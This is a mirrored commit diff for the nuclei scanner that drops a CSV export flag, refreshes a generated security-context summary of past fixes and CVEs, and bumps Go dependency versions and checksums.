mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2026-11-09 12:21:25 -10:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
154db3b7e5 |
No files matched your search
@@ -220,7 +220,6 @@ OUTPUT:
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-ce, -csv-export string file to export results in CSV format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
-nrd, -no-redact disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted
|
||||
|
||||
+13
-21
@@ -1,13 +1,13 @@
|
||||
<!-- Generated by securitycontext.dev. Source HEAD: 40d08ee493f6f84c9a6b3c7f15f22da83853130c. -->
|
||||
<!-- Generated by securitycontext.dev. Source HEAD: df57ae6d2955864fd92a1bd2565fe9e4e9a7592b. -->
|
||||
# Security Context: projectdiscovery/nuclei @ dev
|
||||
|
||||
> Reference context for editing projectdiscovery/nuclei. Before changing any component below, **preserve the listed guards and do not reintroduce these fixed issues**. Each fingerprint is a regression check, and each shared attack surface is a guard that must keep holding on every path.
|
||||
|
||||
_Analyzed [40d08ee493][c-40d08ee493] on `dev` · 5242 commits, 586 security-relevant examined · generated 2026-11-09_
|
||||
_Analyzed [df57ae6d29][c-df57ae6d29] on `dev` · 5174 commits, 548 security-relevant examined · generated 2026-11-02_
|
||||
|
||||
## Recurring Security Patterns
|
||||
|
||||
**12.5% of classified fixes repeat a previously fixed pattern** (2 recurring, 14 first-seen). A recurring pattern means this repository fixed a similar issue before — not that the code is currently vulnerable.
|
||||
**7.1% of classified fixes repeat a previously fixed pattern** (1 recurring, 13 first-seen). A recurring pattern means this repository fixed a similar issue before — not that the code is currently vulnerable.
|
||||
|
||||
## Top Risks
|
||||
|
||||
@@ -15,12 +15,12 @@ Components with the strongest concentration of past fixes for one class.
|
||||
|
||||
| # | Class | Component | Severity | Fixes | Evidence |
|
||||
|---|---|---|---|---|---|
|
||||
| 1 | Code Execution | `pkg/fuzz/execute.go` | high | 2 | [4fed40f75a][c-4fed40f75a], [ccbfb12bd0][c-ccbfb12bd0] |
|
||||
| 2 | SSRF | `pkg/protocols/common/protocolstate/headless.go` | high | 2 | [d43c1f547f][c-d43c1f547f], [d9dabbb4a1][c-d9dabbb4a1] |
|
||||
| 3 | Arbitrary File Access | `v2/pkg/protocols/common/generators/load.go` | high | 0 (1 component gone, not counted) | [e5154d362a][c-e5154d362a] |
|
||||
| 4 | Arbitrary File Access | `pkg/js/libs/mysql/mysql.go` | high | 1 | [634cecbb28][c-634cecbb28] |
|
||||
| 5 | Certificate Validation Bypass | `pkg/reporting/exporters/es/elasticsearch.go` | high | 1 | [82d5a8acc2][c-82d5a8acc2] |
|
||||
| 6 | Code Execution | `pkg/protocols/common/expressions/expressions.go` | high | 1 | [d221732016][c-d221732016] |
|
||||
| 1 | SSRF | `pkg/protocols/common/protocolstate/headless.go` | high | 2 | [d43c1f547f][c-d43c1f547f], [d9dabbb4a1][c-d9dabbb4a1] |
|
||||
| 2 | Arbitrary File Access | `v2/pkg/protocols/common/generators/load.go` | high | 0 (1 component gone, not counted) | [e5154d362a][c-e5154d362a] |
|
||||
| 3 | Arbitrary File Access | `pkg/js/libs/mysql/mysql.go` | high | 1 | [634cecbb28][c-634cecbb28] |
|
||||
| 4 | Code Execution | `pkg/fuzz/execute.go` | high | 1 | [ccbfb12bd0][c-ccbfb12bd0] |
|
||||
| 5 | Code Execution | `pkg/protocols/common/expressions/expressions.go` | high | 1 | [d221732016][c-d221732016] |
|
||||
| 6 | Information Disclosure | `internal/httpapi/apiendpoint.go` | high | 1 | [a20aa26024][c-a20aa26024] |
|
||||
|
||||
## Fixed-Issue Fingerprints
|
||||
|
||||
@@ -28,13 +28,8 @@ Real security fixes mined from git history; use them as regression checks. `veri
|
||||
|
||||
**By component** (directories with the most fixes):
|
||||
|
||||
- `pkg/fuzz` — 2 fixes: Code Execution (2)
|
||||
- `pkg/protocols/common/protocolstate` — 2 fixes: SSRF (2)
|
||||
|
||||
- [4fed40f75a][c-4fed40f75a] **fix(fuzz): stop re-rendering evaluated template variables (#8057)** — Code Execution, high [CWE-94] · inferred · 2026-11-05
|
||||
`pkg/fuzz/execute.go` · sink `rule.evaluateVarsWithInteractsh` · fix: safe parser configuration
|
||||
- [82d5a8acc2][c-82d5a8acc2] **exporters: verify TLS certificates (#8042)** — Certificate Validation Bypass, high [CWE-295] · inferred · 2026-11-04
|
||||
`pkg/reporting/exporters/es/elasticsearch.go` · sink `DialTLS` · fix: cryptographic verification
|
||||
- [1c0f77d28e][c-1c0f77d28e] **fix(js/net): enforce network policy on proxied target in JS net dial** — SSRF, high [CWE-918] · inferred · 2026-10-18
|
||||
`pkg/js/libs/net/net.go` · sink `dialHTTPProxy` · fix: input validation
|
||||
- [d43c1f547f][c-d43c1f547f] **fix(headless): canonicalize IPv4-mapped IPv6 literals and re-validate dial targets** — SSRF, high [CWE-918] · inferred · 2026-10-13
|
||||
@@ -68,12 +63,11 @@ Real security fixes mined from git history; use them as regression checks. `veri
|
||||
|
||||
| Class | Fixes | Verified | Most recent fix |
|
||||
|---|---|---|---|
|
||||
| Code Execution | 3 | 2 | [2026-11-05][c-4fed40f75a] 4fed40f75a |
|
||||
| SSRF | 3 | 0 | [2026-10-18][c-1c0f77d28e] 1c0f77d28e |
|
||||
| Arbitrary File Access | 1 (1 component gone, not counted) | 2 | [2026-06-19][c-634cecbb28] 634cecbb28 |
|
||||
| Code Execution | 2 | 2 | [2026-06-30][c-ccbfb12bd0] ccbfb12bd0 |
|
||||
| Sandbox Escape | 2 | 0 | [2026-06-24][c-3a8b65cb45] 3a8b65cb45 |
|
||||
| Signature Verification Bypass | 2 | 2 | [2026-07-03][c-fac0b7196d] fac0b7196d |
|
||||
| Certificate Validation Bypass | 1 | 0 | [2026-11-04][c-82d5a8acc2] 82d5a8acc2 |
|
||||
| Information Disclosure | 1 | 0 | [2026-08-03][c-a20aa26024] a20aa26024 |
|
||||
| Path Traversal | 1 | 0 | [2026-06-04][c-20cbf0bd73] 20cbf0bd73 |
|
||||
| SQL Injection | 1 | 0 | [2026-06-23][c-68daef44a7] 68daef44a7 |
|
||||
@@ -106,17 +100,15 @@ Published elsewhere, fixed before the history window, or not yet linked; full de
|
||||
| CVE-2024-40641 / GHSA-c3q9-c27p-cw9h | high 7.4 | 2024-07-17 | CWE-78 | Unsigned code template execution through workflows in projectdiscovery/nuclei. ### Summary... |
|
||||
| CVE-2024-27920 / GHSA-w5wx-6g2r-r78q | high 7.4 | 2024-03-15 | CWE-78 | Unsigned code template execution through workflows in projectdiscovery/nuclei. ### Overvie... |
|
||||
|
||||
[c-40d08ee493]: https://github.com/projectdiscovery/nuclei/commit/40d08ee493f6f84c9a6b3c7f15f22da83853130c
|
||||
[c-4fed40f75a]: https://github.com/projectdiscovery/nuclei/commit/4fed40f75a57c7c414aac62d213d772cc3f430d3
|
||||
[c-ccbfb12bd0]: https://github.com/projectdiscovery/nuclei/commit/ccbfb12bd01447ba25f6e755dfb2bee677736da6
|
||||
[c-df57ae6d29]: https://github.com/projectdiscovery/nuclei/commit/df57ae6d2955864fd92a1bd2565fe9e4e9a7592b
|
||||
[c-d43c1f547f]: https://github.com/projectdiscovery/nuclei/commit/d43c1f547f98ac56654f4335ad20af0cca4c229c
|
||||
[c-d9dabbb4a1]: https://github.com/projectdiscovery/nuclei/commit/d9dabbb4a19e897a6bc12334a030a43035b27b73
|
||||
[c-e5154d362a]: https://github.com/projectdiscovery/nuclei/commit/e5154d362af900e83b30fb79028bfab1a7f0c648
|
||||
[c-634cecbb28]: https://github.com/projectdiscovery/nuclei/commit/634cecbb289db494247c04a9c4ec6a113aef3cc0
|
||||
[c-82d5a8acc2]: https://github.com/projectdiscovery/nuclei/commit/82d5a8acc2c756394c7fa92eae08b41330e89d69
|
||||
[c-ccbfb12bd0]: https://github.com/projectdiscovery/nuclei/commit/ccbfb12bd01447ba25f6e755dfb2bee677736da6
|
||||
[c-d221732016]: https://github.com/projectdiscovery/nuclei/commit/d2217320162d5782ca7cb95bef9dda17063818f3
|
||||
[c-1c0f77d28e]: https://github.com/projectdiscovery/nuclei/commit/1c0f77d28ed639a34c2036fa23c7503ffac0bf27
|
||||
[c-a20aa26024]: https://github.com/projectdiscovery/nuclei/commit/a20aa260245e5db889c5a421d4a65aeb2a64bf46
|
||||
[c-1c0f77d28e]: https://github.com/projectdiscovery/nuclei/commit/1c0f77d28ed639a34c2036fa23c7503ffac0bf27
|
||||
[c-fac0b7196d]: https://github.com/projectdiscovery/nuclei/commit/fac0b7196d2fbca56c8af8ff8e1899c111041a37
|
||||
[c-3a8b65cb45]: https://github.com/projectdiscovery/nuclei/commit/3a8b65cb45f121fcdf418f60e5177ed9f250c122
|
||||
[c-68daef44a7]: https://github.com/projectdiscovery/nuclei/commit/68daef44a7eafd41c39690924620e418762909ef
|
||||
|
||||
@@ -370,7 +370,6 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
|
||||
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
|
||||
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
|
||||
flagSet.StringVarP(&options.CSVExport, "csv-export", "ce", "", "file to export results in CSV format"),
|
||||
flagSet.StringVarP(&options.PDFExport, "pdf-export", "pe", "", "file to export results in PDF format"),
|
||||
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.BoolVarP(&options.NoRedact, "no-redact", "nrd", false, "disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted"),
|
||||
|
||||
@@ -78,37 +78,37 @@ require (
|
||||
github.com/ory/dockertest/v3 v3.12.0
|
||||
github.com/pkg/errors v0.9.1
|
||||
github.com/praetorian-inc/fingerprintx v1.1.15
|
||||
github.com/projectdiscovery/clistats v0.1.7
|
||||
github.com/projectdiscovery/dsl v0.9.0
|
||||
github.com/projectdiscovery/fastdialer v0.6.0
|
||||
github.com/projectdiscovery/clistats v0.1.9
|
||||
github.com/projectdiscovery/dsl v0.9.2
|
||||
github.com/projectdiscovery/fastdialer v0.6.2
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2
|
||||
github.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c
|
||||
github.com/projectdiscovery/goflags v0.2.1
|
||||
github.com/projectdiscovery/goimpacket v0.1.1-0.20261007205806-6042a8213eeb
|
||||
github.com/projectdiscovery/goja v0.0.0-20261012075649-9b78f2e05b9c
|
||||
github.com/projectdiscovery/goja_nodejs v0.0.0-20260618132410-8519f75f703d
|
||||
github.com/projectdiscovery/gologger v1.1.73
|
||||
github.com/projectdiscovery/gologger v1.1.75
|
||||
github.com/projectdiscovery/gostruct v0.0.2
|
||||
github.com/projectdiscovery/govaluate v0.0.0-20261102102118-9294133b15a2
|
||||
github.com/projectdiscovery/gozero v0.1.1-0.20260530071156-fa1dad563d76
|
||||
github.com/projectdiscovery/hmap v0.0.102
|
||||
github.com/projectdiscovery/gozero v0.1.1
|
||||
github.com/projectdiscovery/hmap v0.0.104
|
||||
github.com/projectdiscovery/httpx v1.12.0
|
||||
github.com/projectdiscovery/interactsh v1.4.1
|
||||
github.com/projectdiscovery/mapcidr v1.1.97
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56
|
||||
github.com/projectdiscovery/networkpolicy v0.1.57
|
||||
github.com/projectdiscovery/ratelimit v0.0.94
|
||||
github.com/projectdiscovery/rawhttp v0.2.0
|
||||
github.com/projectdiscovery/rawhttp v0.2.2
|
||||
github.com/projectdiscovery/rdap v0.9.0
|
||||
github.com/projectdiscovery/retryabledns v1.0.116
|
||||
github.com/projectdiscovery/retryablehttp-go v1.3.31
|
||||
github.com/projectdiscovery/retryabledns v1.0.118
|
||||
github.com/projectdiscovery/retryablehttp-go v1.3.34
|
||||
github.com/projectdiscovery/sarif v0.1.0
|
||||
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75
|
||||
github.com/projectdiscovery/tlsx v1.4.4
|
||||
github.com/projectdiscovery/uncover v1.2.1
|
||||
github.com/projectdiscovery/useragent v0.0.109
|
||||
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.6
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.7
|
||||
github.com/projectdiscovery/useragent v0.0.110
|
||||
github.com/projectdiscovery/utils v0.11.13
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.8
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.9
|
||||
github.com/redis/go-redis/v9 v9.19.0
|
||||
github.com/remeh/sizedwaitgroup v1.0.0
|
||||
github.com/rs/xid v1.6.0
|
||||
@@ -136,7 +136,7 @@ require (
|
||||
golang.org/x/term v0.47.0
|
||||
golang.org/x/text v0.43.0
|
||||
golang.org/x/time v0.15.0
|
||||
golang.org/x/tools v0.51.0
|
||||
golang.org/x/tools v0.52.0
|
||||
google.golang.org/grpc v1.83.2
|
||||
google.golang.org/protobuf v1.36.11
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
@@ -168,7 +168,6 @@ require (
|
||||
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.53.0 // indirect
|
||||
github.com/Microsoft/go-winio v0.6.2 // indirect
|
||||
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 // indirect
|
||||
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 // indirect
|
||||
github.com/Mzack9999/goimpacket v0.0.0-20260420131935-a9fe473cda7d // indirect
|
||||
github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect
|
||||
github.com/ProtonMail/go-crypto v1.1.6 // indirect
|
||||
@@ -372,10 +371,10 @@ require (
|
||||
github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect
|
||||
github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
|
||||
github.com/projectdiscovery/asnmap v1.1.1 // indirect
|
||||
github.com/projectdiscovery/asnmap v1.2.0 // indirect
|
||||
github.com/projectdiscovery/blackrock v0.0.2 // indirect
|
||||
github.com/projectdiscovery/cdncheck v1.3.2 // indirect
|
||||
github.com/projectdiscovery/freeport v0.0.7 // indirect
|
||||
github.com/projectdiscovery/cdncheck v1.4.0 // indirect
|
||||
github.com/projectdiscovery/freeport v0.0.8 // indirect
|
||||
github.com/projectdiscovery/jarm-go v0.0.0-20260910160638-430e2bae86f6 // indirect
|
||||
github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect
|
||||
github.com/projectdiscovery/machineid v0.0.0-20250715113114-c77eb3567582 // indirect
|
||||
@@ -432,7 +431,7 @@ require (
|
||||
github.com/ysmood/got v0.40.0 // indirect
|
||||
github.com/ysmood/gson v0.7.3 // indirect
|
||||
github.com/ysmood/leakless v0.9.0 // indirect
|
||||
github.com/yuin/goldmark v1.7.17 // indirect
|
||||
github.com/yuin/goldmark v1.8.6 // indirect
|
||||
github.com/yuin/goldmark-emoji v1.0.6 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.4 // indirect
|
||||
github.com/zcalusic/sysinfo v1.1.3 // indirect
|
||||
@@ -456,7 +455,7 @@ require (
|
||||
goftp.io/server/v2 v2.0.1 // indirect
|
||||
golang.org/x/arch v0.3.0 // indirect
|
||||
golang.org/x/crypto v0.58.0 // indirect
|
||||
golang.org/x/mod v0.41.0 // indirect
|
||||
golang.org/x/mod v0.42.0 // indirect
|
||||
google.golang.org/api v0.264.0 // indirect
|
||||
google.golang.org/genproto v0.0.0-20260128011058-8636f8732409 // indirect
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa // indirect
|
||||
|
||||
@@ -120,8 +120,6 @@ github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERo
|
||||
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
|
||||
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 h1:KFac3SiGbId8ub47e7kd2PLZeACxc1LkiiNoDOFRClE=
|
||||
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057/go.mod h1:iLB2pivrPICvLOuROKmlqURtFIEsoJZaMidQfCG1+D4=
|
||||
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8=
|
||||
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4=
|
||||
github.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d h1:DofPB5AcjTnOU538A/YD86/dfqSNTvQsAXgwagxmpu4=
|
||||
github.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d/go.mod h1:uzdh/m6XQJI7qRvufeBPDa+lj5SVCJO8B9eLxTbtI5U=
|
||||
github.com/Mzack9999/goimpacket v0.0.0-20260420131935-a9fe473cda7d h1:xX93NZHxxrHcmN4nn1owvJdr1E/l1kp1Rv7rMr9ly+U=
|
||||
@@ -923,22 +921,22 @@ github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt
|
||||
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||
github.com/praetorian-inc/fingerprintx v1.1.15 h1:CVIxrIQARbmdk5h8E9tIJZbvFoY2sGLLG9rpFVfQqpA=
|
||||
github.com/praetorian-inc/fingerprintx v1.1.15/go.mod h1:hqRroITBwKpP8BOGF+n/A+qv9wSF7OSVinmu5NCyOUI=
|
||||
github.com/projectdiscovery/asnmap v1.1.1 h1:ImJiKIaACOT7HPx4Pabb5dksolzaFYsD1kID2iwsDqI=
|
||||
github.com/projectdiscovery/asnmap v1.1.1/go.mod h1:QT7jt9nQanj+Ucjr9BqGr1Q2veCCKSAVyUzLXfEcQ60=
|
||||
github.com/projectdiscovery/asnmap v1.2.0 h1:xxZxVYJYPyBNbwF7jL/rtpThKBMdjomQBmlAZRqhq7E=
|
||||
github.com/projectdiscovery/asnmap v1.2.0/go.mod h1:0tNdUGHUE7TFWDaHZtuXcVpQfRTZZ1BKmFfl8gtQbiU=
|
||||
github.com/projectdiscovery/blackrock v0.0.2 h1:mxXdu0uM8P2L2Qi210COlU8QiICPFW/Rxk5QUhlPO2k=
|
||||
github.com/projectdiscovery/blackrock v0.0.2/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss=
|
||||
github.com/projectdiscovery/cdncheck v1.3.2 h1:I453ZWNBeG0WWIy3wi9412l4PTzorLgebEnqmbcpSfo=
|
||||
github.com/projectdiscovery/cdncheck v1.3.2/go.mod h1:5IkUMMlcGaeg1DWW5oJVd3r9X3EpJ88j5HxBeF4Me9M=
|
||||
github.com/projectdiscovery/clistats v0.1.7 h1:NXf4lUzx1QcbJd6QycNwwYHTv2FsW9MchQ2LsgSL6C0=
|
||||
github.com/projectdiscovery/clistats v0.1.7/go.mod h1:RxRGxhMzkT344VTTvZWIrojurUXdQQRN1yfwgg/88I8=
|
||||
github.com/projectdiscovery/dsl v0.9.0 h1:i1KyCbKJyKfHkgdbfh0JkWdd14APUjpEYf+GaYANlCg=
|
||||
github.com/projectdiscovery/dsl v0.9.0/go.mod h1:ntNFkkiYCTEosGFTbApA61RMrvJTCjnakPxnWj56MyY=
|
||||
github.com/projectdiscovery/fastdialer v0.6.0 h1:4ZeFQ6LyRH4D8e3qO/yzqIP4Cf9Fr0DduaVpJD6ENnE=
|
||||
github.com/projectdiscovery/fastdialer v0.6.0/go.mod h1:FpHwa9S5PUgfPbh+irOm+cdU6AO631XidxkhPwPv7yY=
|
||||
github.com/projectdiscovery/cdncheck v1.4.0 h1:FP+ALhMtm+HyE8WgeWp3lUvNp3WaE7LCsC7LpB9QsWw=
|
||||
github.com/projectdiscovery/cdncheck v1.4.0/go.mod h1:27FjISwBKtdQXsC31q16xspX5xAu0gbYfF0rs3yGNxs=
|
||||
github.com/projectdiscovery/clistats v0.1.9 h1:qIxxxjWYuxoGIG02jOeztvz/8metvay2pG2P+Xld154=
|
||||
github.com/projectdiscovery/clistats v0.1.9/go.mod h1:4TcGnCtsmyy9/pkKaRyqQmKQljwiOPTCc0nnbluhYX0=
|
||||
github.com/projectdiscovery/dsl v0.9.2 h1:6zwxEF1J7Vy3Ng4VeZ3xphDE9D+ZsF6VOUT+UjDOngk=
|
||||
github.com/projectdiscovery/dsl v0.9.2/go.mod h1:lD4o4Fqgql7YxZYYb4XYR9rHhMG5UZM3iB9MQx3/zKM=
|
||||
github.com/projectdiscovery/fastdialer v0.6.2 h1:SMf7/1IK/y6ThiDrLaEQ6/owZ5V5+uQPJZmsZVTA2Vs=
|
||||
github.com/projectdiscovery/fastdialer v0.6.2/go.mod h1:mZ6UOoMyTHCbn5nz6xzFmgwvushgY6/ecANYZe6XqrQ=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw=
|
||||
github.com/projectdiscovery/freeport v0.0.7 h1:Q6uXo/j8SaV/GlAHkEYQi8WQoPXyJWxyspx+aFmz9Qk=
|
||||
github.com/projectdiscovery/freeport v0.0.7/go.mod h1:cOhWKvNBe9xM6dFJ3RrrLvJ5vXx2NQ36SecuwjenV2k=
|
||||
github.com/projectdiscovery/freeport v0.0.8 h1:7EE+m7DY7Yc2afpB/F45V+zH2DL+M0skCSUc3gb5KUs=
|
||||
github.com/projectdiscovery/freeport v0.0.8/go.mod h1:dtIhwfdXOiA0gyr2PWno1X8RTqtzHbQDNfJGpSvptD4=
|
||||
github.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c h1:s+lLAlrOrgwlPZQ9DFqNw+kia2nteKnJZ2Ek313yoUc=
|
||||
github.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c/go.mod h1:rN35/D3lVx2YDeENFFz06uj8j3XIqK1Ym9XcISF5fzg=
|
||||
github.com/projectdiscovery/goflags v0.2.1 h1:XnSYvsCjUwHbZaaJUZ3YznCJPoXRk/IhTFP9Gecmx6M=
|
||||
@@ -949,16 +947,16 @@ github.com/projectdiscovery/goja v0.0.0-20261012075649-9b78f2e05b9c h1:4H/CfVNlu
|
||||
github.com/projectdiscovery/goja v0.0.0-20261012075649-9b78f2e05b9c/go.mod h1:SO0AP+uKfYeeoR6jyVH/PKRYJE/f5gJrPMAM00iGEMc=
|
||||
github.com/projectdiscovery/goja_nodejs v0.0.0-20260618132410-8519f75f703d h1:fqqH9LHpN2WDz9QuxFrhKNxXSRtzk+Sa6jAhbB7tXcQ=
|
||||
github.com/projectdiscovery/goja_nodejs v0.0.0-20260618132410-8519f75f703d/go.mod h1:Ezmbgdaw4EunGGBU4MQViLoGMJc37LA3ip55YV3KeRI=
|
||||
github.com/projectdiscovery/gologger v1.1.73 h1:WX2nzq29cL7HdvOHqIttacoid/5lMwapyM7ukGU1jFY=
|
||||
github.com/projectdiscovery/gologger v1.1.73/go.mod h1:mJwODZcFDg70ihINpOvZevmBtgvpP8H9/l8Y+OPhZPY=
|
||||
github.com/projectdiscovery/gologger v1.1.75 h1:w+8DgCOCFpUegE2Ww8LQBUWPACkJUOvJ4Q1C0f2N9qI=
|
||||
github.com/projectdiscovery/gologger v1.1.75/go.mod h1:LDeWHizV+0QVuvDP4uJHM/M+eQlp0XLWlQ1z8PgOE1k=
|
||||
github.com/projectdiscovery/gostruct v0.0.2 h1:s8gP8ApugGM4go1pA+sVlPDXaWqNP5BBDDSv7VEdG1M=
|
||||
github.com/projectdiscovery/gostruct v0.0.2/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE=
|
||||
github.com/projectdiscovery/govaluate v0.0.0-20261102102118-9294133b15a2 h1:aSLbDvrJQPlp4HvojU+bTU5XV8xdAVCjoc5gX1Wfbw4=
|
||||
github.com/projectdiscovery/govaluate v0.0.0-20261102102118-9294133b15a2/go.mod h1:Z3VjpUJV1pnXDwvAddA8aZ4e839SoeftB7CSdZntAVI=
|
||||
github.com/projectdiscovery/gozero v0.1.1-0.20260530071156-fa1dad563d76 h1:AN70bbi6BBs7KpIM9w0LxygUN7uzT/oH+owDIQ+Fz/k=
|
||||
github.com/projectdiscovery/gozero v0.1.1-0.20260530071156-fa1dad563d76/go.mod h1:cWHYnRXoYWHtTpOYyAp5laGYX8GH8ITUhgQaP8G/8FA=
|
||||
github.com/projectdiscovery/hmap v0.0.102 h1:ybPuf7UQvuOLiHLOUbVMvd+PSlItQU5iQpP1Erl8kaU=
|
||||
github.com/projectdiscovery/hmap v0.0.102/go.mod h1:IZ92wXFmxYpdn0euZ7VFmypzOBNDwq8c3yRyIIol6XE=
|
||||
github.com/projectdiscovery/gozero v0.1.1 h1:wLiJH11YTMzgrV9AWB24S08wYfGF4/ggm4xdlduQmLk=
|
||||
github.com/projectdiscovery/gozero v0.1.1/go.mod h1:RFHYWR70/YBV74h/0P2l0Crht6lHq8zhJfAluVg97OI=
|
||||
github.com/projectdiscovery/hmap v0.0.104 h1:38j4A2gttI48tI5MrdRV2ZTH3SWEysoSYeDxqYqW3rA=
|
||||
github.com/projectdiscovery/hmap v0.0.104/go.mod h1:koGp3dcpH+BNj/9JuoZnXhbRfAiZrgIiCzsiBCtSIFs=
|
||||
github.com/projectdiscovery/httpx v1.12.0 h1:NN5iDrw7NjPBDlACdjac4lePTQmZ5aOmgOzptMpP44c=
|
||||
github.com/projectdiscovery/httpx v1.12.0/go.mod h1:OgtyibNGdu9BrJxRdNKm280Davw1Z4s2FAhfPNNtLB4=
|
||||
github.com/projectdiscovery/interactsh v1.4.1 h1:EGHPJ1rnuxvILWfcoaRgb/Ykz67WiDXABRCSJN666GA=
|
||||
@@ -973,34 +971,34 @@ github.com/projectdiscovery/mapcidr v1.1.97 h1:7FkxNNVXp+m1rIu5Nv/2SrF9k4+LwP8Qu
|
||||
github.com/projectdiscovery/mapcidr v1.1.97/go.mod h1:9dgTJh1SP02gYZdpzMjm6vtYFkEHQHoTyaVNvaeJ7lA=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56 h1:M/L421HFuN707oX0tLTzKZY46uRyaKwxAeyi0q8PlxI=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56/go.mod h1:N5bXm8L3UsDw51CeA1nhTsGEbQMbgL5lXTiIU013xd0=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.57 h1:3P7esW8KE3yoZSE/GvswbSZ1bh8Gk+dURtvNlFzOid0=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.57/go.mod h1:Ky0GOIqAL666JBHyHeIsQ5rjkET902I6XjGEpvCVx9s=
|
||||
github.com/projectdiscovery/ratelimit v0.0.94 h1:2qciSuUxarn73YGICZeprZtjrwyAH+0iVpdKzKCXoXE=
|
||||
github.com/projectdiscovery/ratelimit v0.0.94/go.mod h1:GAerX6s+eWRuACedHRv2/xmMtlW+VahZmbRstQh0sS0=
|
||||
github.com/projectdiscovery/rawhttp v0.2.0 h1:TGiHC5hydL97/zoi0WjEuNrfO6Gjtg9LeXndUf1Cq3M=
|
||||
github.com/projectdiscovery/rawhttp v0.2.0/go.mod h1:Waz+K5y6r44ElpqAoOfYtY03zrGGZ12nx0yDKq7Ot1E=
|
||||
github.com/projectdiscovery/rawhttp v0.2.2 h1:l1UvmSWrpd1wpTIlYKlP4VnmV3jhqR7P05wyDwKBml8=
|
||||
github.com/projectdiscovery/rawhttp v0.2.2/go.mod h1:Wg1bJ3DGXdVcU2ieU1NqT09rGolvp+FlVeo1QdTnRmg=
|
||||
github.com/projectdiscovery/rdap v0.9.0 h1:wPhHx5pQ2QI+WGhyNb2PjhTl0NtB39Nk7YFZ9cp8ZGA=
|
||||
github.com/projectdiscovery/rdap v0.9.0/go.mod h1:zk4yrJFQ2Hy36Aqk+DvotYQxYAeALaCJ5ORySkff36Q=
|
||||
